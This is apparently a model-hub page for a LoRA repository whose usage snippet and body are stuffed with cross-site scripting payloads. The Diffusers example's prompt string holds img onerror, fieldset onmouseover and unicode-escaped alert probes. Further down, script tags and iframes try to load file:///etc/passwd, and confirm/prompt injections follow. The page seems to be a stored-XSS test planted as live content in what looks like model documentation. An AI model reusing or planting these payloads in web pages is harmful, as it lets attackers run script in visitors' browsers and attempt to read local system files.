Instructions to use victim1998p/victimdz with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Diffusers
How to use victim1998p/victimdz with Diffusers:
pip install -U diffusers transformers accelerate
import torch from diffusers import DiffusionPipeline # switch to "mps" for apple devices pipe = DiffusionPipeline.from_pretrained("stabilityai/stable-cascade", dtype=torch.bfloat16, device_map="cuda") pipe.load_lora_weights("victim1998p/victimdz") prompt = "<img/src=x onError=\"`${x}`;alert(`xss stored`);\"> <Img Src=OnXSS OnError=confirm(1)> <fieldset//%00//onsite OnMoUsEoVeR=\\u0061\\u006C\\u0065\\u0072\\u0074`/aaa/`> ?><img src=x onmouseleave=print()>" image = pipe(prompt).images[0] - Notebooks
- Google Colab
- Kaggle
- Local Apps
- Draw Things
- DiffusionBee
<script>document.write('<iframe src=file:///etc/passwd></iframe>');</script> <img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/><iframe src=file:///etc/passwd></iframe>') test"><img src="/" =_=" title="onerror='prompt(1)'"> <img/src=x onError="`${x}`;alert(`xss stored`);"> <Img Src=OnXSS OnError=confirm(1)> <fieldset//%00//onsite OnMoUsEoVeR=\u0061\u006C\u0065\u0072\u0074`/aaa/`> ?><img src=x onmouseleave=print()>
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#2 opened about 2 years ago
by
mqawed
Update README.md
#1 opened about 2 years ago
by
mqawed